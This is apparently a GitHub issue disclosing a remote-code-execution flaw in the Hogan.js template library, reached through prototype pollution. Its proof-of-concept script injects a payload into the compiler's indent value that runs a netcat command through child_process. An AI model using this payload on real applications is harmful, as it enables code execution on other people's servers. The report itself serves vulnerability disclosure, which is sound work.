-
Notifications
You must be signed in to change notification settings - Fork 431
Description
Hogan.js can be chained with prototype pollution to gain Remote Code Execution as Hogan.js objects can be easily controlled.
Description:
-
This vulnerability is regarding https://github.com/twitter/hogan.js
-
The function createPartials is called whenever '<' exists in tokens .In function createPartials code generated are getting concatenated and then evaluated later.
-
When Prototype pollution bug exist in a application it could pollute certain variables in complier.js and hence the code generated can be controlled.In this case node.indent and context.prefix can be polluted and can be used to gain rce.
POC
var hogan = require("hogan.js");
// construct template string
var template = "my {{>example}} template.";
//Prototype Pollution
constructor.prototype.indent="console.log(\"));console.log(process.mainModule.require('child_process').execSync('nc 127.0.0.1 1337'))//\")";
constructor.prototype.prefix="abcd";
var tokens=hogan.scan(template)
console.log("tokens",tokens)
// compile template
var compiled = hogan.compile(template);
console.log("compiled" , compiled)
var s = compiled.render({example: 'twitterer' })
console.log("renderd",s)To Reproduce
Steps to reproduce the behavior:
- Run above poc.js
- listen on port 1337
Screenshots
Additional context
For more information refer here
https://sayoojbkumar.me/blog/2021/12/15/PP-Hogan-js/
